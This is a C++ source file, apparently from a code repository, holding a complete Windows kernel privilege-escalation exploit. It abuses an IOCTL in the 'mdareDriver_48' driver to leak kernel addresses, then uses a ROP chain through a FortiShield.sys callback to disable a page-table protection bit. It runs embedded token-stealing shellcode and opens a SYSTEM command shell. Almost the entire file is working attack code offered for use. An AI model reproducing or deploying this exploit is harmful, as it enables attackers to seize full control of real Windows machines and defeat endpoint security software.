225 lines
No EOL
7.2 KiB
C++
225 lines
No EOL
7.2 KiB
C++
#include "stdafx.h"
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#include <stdio.h>
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#include <Windows.h>
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#include <Psapi.h>
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#include <Shlobj.h>
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#pragma comment (lib,"psapi")
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PULONGLONG leak_buffer = (PULONGLONG)VirtualAlloc((LPVOID)0x000000001a000000, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
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ULONGLONG leakQWORD(ULONGLONG addr, HANDLE driver)
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{
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memset((LPVOID)0x000000001a000000, 0x11, 0x1000);
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memset((LPVOID)0x000000001a001000, 0x22, 0x1000);
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leak_buffer[0] = 0x000000001a000008;
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leak_buffer[1] = 0x0000000000000003;
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leak_buffer[4] = 0x000000001a000028;
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leak_buffer[6] = addr - 0x70;
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DWORD IoControlCode = 0x22608C;
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LPVOID InputBuffer = (LPVOID)0x000000001a000000;
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DWORD InputBufferLength = 0x20;
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LPVOID OutputBuffer = (LPVOID)0x000000001a001000;
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DWORD OutputBufferLength = 0x110;
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DWORD lpBytesReturned;
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BOOL triggerIOCTL;
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triggerIOCTL = DeviceIoControl(driver, IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
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if (!triggerIOCTL)
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{
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printf("[!] Error in the SYSCALL: %d\n", GetLastError());
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}
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ULONGLONG result = leak_buffer[0x202];
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return result;
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}
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ULONGLONG leakNtBase(HANDLE driver)
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{
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ULONGLONG teb = (ULONGLONG)NtCurrentTeb();
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ULONGLONG thread = *(PULONGLONG)(teb + 0x78);
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ULONGLONG threadInfo = leakQWORD(thread, driver);
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ULONGLONG ntAddr = leakQWORD(threadInfo + 0x2a8, driver);
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ULONGLONG baseAddr = 0;
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ULONGLONG signature = 0x00905a4d;
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ULONGLONG searchAddr = ntAddr & 0xFFFFFFFFFFFFF000;
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while (TRUE)
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{
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ULONGLONG readData = leakQWORD(searchAddr, driver);
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ULONGLONG tmp = readData & 0xFFFFFFFF;
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/*
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printf("%llx\n", readData);
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printf("%llx\n", tmp);
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*/
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if (tmp == signature)
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{
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baseAddr = searchAddr;
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break;
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}
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searchAddr = searchAddr - 0x1000;
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}
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return baseAddr;
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}
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ULONGLONG leakFortiBase(HANDLE driver, ULONGLONG ntBase)
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{
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ULONGLONG PsLoadModuleListAddr = ntBase + 0x34c5a0;
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ULONGLONG searchAddr = leakQWORD(PsLoadModuleListAddr, driver);
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ULONGLONG addr = 0;
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while (1)
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{
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ULONGLONG namePointer = leakQWORD(searchAddr + 0x60, driver);
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ULONGLONG name = leakQWORD(namePointer, driver);
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if (name == 0x00740072006f0046)
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{
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name = leakQWORD(namePointer + 8, driver);
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if (name == 0x0069006800530069)
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{
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addr = leakQWORD(searchAddr + 0x30, driver);
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break;
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}
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}
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searchAddr = leakQWORD(searchAddr, driver);
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}
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return addr;
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}
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ULONGLONG allocate_fake_stack(ULONGLONG ntBase, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG pte_result)
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{
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PULONGLONG fake_stack = (PULONGLONG)VirtualAlloc((LPVOID)0x00000000f5ffe000, 0x12000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
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if (fake_stack == NULL)
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{
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printf("[!] Error while allocating the fake stack: %d\n", GetLastError());
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return 1;
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}
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memset(fake_stack, 0x41, 0x12000);
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PULONGLONG ropStack = (PULONGLONG)fake_stack + 0x2000;
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DWORD index = 0;
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// <NULL Callback>
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ropStack[index] = ntBase + 0x1684ef; index++; // pop rax ; pop rcx ; ret
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ropStack[index] = fortishield_callback; index++; // FortiShield Callback
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ropStack[index] = 0x0000000000000000; index++; // NULL
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ropStack[index] = ntBase + 0x937eb; index++; // mov qword [rax], rcx ; ret
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// </NULL Callback>
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// <Flip U=S bit>
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ropStack[index] = ntBase + 0x88614; index++; // pop rax ; ret
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ropStack[index] = pte_result; index++; // PTE VA
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ropStack[index] = ntBase + 0x1a3cb2; index++; // pop rdx ; ret
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ropStack[index] = 0x0000000000000063; index++; // DIRTY + ACCESSED + R/W + PRESENT
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ropStack[index] = ntBase + 0xe8a8b; index++; // mov byte [rax], dl ; add eax, 0x01740000 ; ret
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ropStack[index] = ntBase + 0x11e000; index++; // wbinvd ; ret
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// </Flip U=S bit>
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// <Restore variables & shellcode>
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ropStack[index] = 0x00000000f6000100; index++; // Shellcode address
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ropStack[index] = fortishield_restore; index++; // FortiShield return location
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// </Restore variables & shellcode>
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char token_steal[] =
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"\x48\x31\xc0\x65\x48\x8b\x80"
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"\x88\x01\x00\x00\x48\x8b\x80"
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"\xb8\x00\x00\x00\x49\x89\xc0"
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"\x48\x8b\x80\xe8\x02\x00\x00"
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"\x48\x2d\xe8\x02\x00\x00\x48"
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"\x8b\x88\xe0\x02\x00\x00\x48"
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"\x83\xf9\x04\x75\xe6\x4c\x8b"
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"\x88\x58\x03\x00\x00\x4d\x89"
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"\x88\x58\x03\x00\x00\x3E\x48"
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"\x8B\x04\x24\x48\x89\xF4\x48"
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"\x83\xEC\x20\xFF\xE0";
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memcpy((fake_stack + 0x2020), token_steal, sizeof(token_steal));
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return 0;
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}
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ULONGLONG get_pxe_address_64(ULONGLONG address, ULONGLONG pte_start)
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{
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ULONGLONG result = address >> 9;
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result = result | pte_start;
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result = result & (pte_start + 0x0000007ffffffff8);
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return result;
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}
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int trigger_callback()
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{
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printf("[+] Creating dummy file\n");
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system("echo test > C:\\Users\\n00b\\AppData\\LocalLow\\test.txt");
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printf("[+] Calling MoveFileEx()\n");
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BOOL MFEresult = MoveFileEx(L"C:\\Users\\n00b\\AppData\\LocalLow\\test.txt", L"C:\\Users\\n00b\\AppData\\LocalLow\\test2.txt", MOVEFILE_REPLACE_EXISTING);
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if (MFEresult == 0)
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{
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printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
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return 1;
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}
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return 0;
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}
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int main()
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{
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LoadLibraryA("user32.dll"); // Populate Win32ThreadInfo
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HANDLE mdare = CreateFile(L"\\\\.\\mdareDriver_48", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
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if (mdare == INVALID_HANDLE_VALUE)
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{
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printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
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return 1;
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}
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HANDLE forti = CreateFile(L"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
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if (forti == INVALID_HANDLE_VALUE)
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{
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printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
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return 1;
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}
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LPDWORD hThread_id = 0;
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HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
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if (hThread == NULL)
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{
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printf("[!] Error while calling CreateThread: %d\n", GetLastError());
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return 1;
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}
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BOOL hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
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if (hThread_priority == 0)
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{
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printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
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return 1;
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}
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ULONGLONG ntBase = leakNtBase(mdare);
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ULONGLONG ntPivot = ntBase + 0x1ab3ec; // mov esp, 0xf6000000; retn;
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ULONGLONG ntMiGetPteAddressOffset = leakQWORD(ntBase + 0x62aeb, mdare);
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ULONGLONG fortishieldBase = leakFortiBase(mdare, ntBase);
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ULONGLONG fortishield_callback = fortishieldBase + 0xd150;
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ULONGLONG fortishield_restore = fortishieldBase + 0x2f73;
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printf("[+] ntoskrnl.exe base address is: 0x%llx\n", ntBase);
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printf("[+] PTE VA start address is: 0x%llx\n", ntMiGetPteAddressOffset);
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printf("[+] FortiShield.sys base address is: 0x%llx\n", fortishieldBase);
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ULONGLONG pte_result = get_pxe_address_64(0xf6000000, ntMiGetPteAddressOffset);
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printf("[+] PTE virtual address for 0xf6000000: %I64x\n", pte_result);
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allocate_fake_stack(ntBase, fortishield_callback, fortishield_restore, pte_result);
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DWORD IoControlCode = 0x220028;
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ULONGLONG InputBuffer = ntPivot;
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DWORD InputBufferLength = 0x8;
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ULONGLONG OutputBuffer = 0x0;
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DWORD OutputBufferLength = 0x0;
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DWORD lpBytesReturned;
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//DebugBreak();
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BOOL triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
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ResumeThread(hThread);
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WaitForSingleObject(hThread, INFINITE);
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system("start cmd.exe");
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return 0;
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} |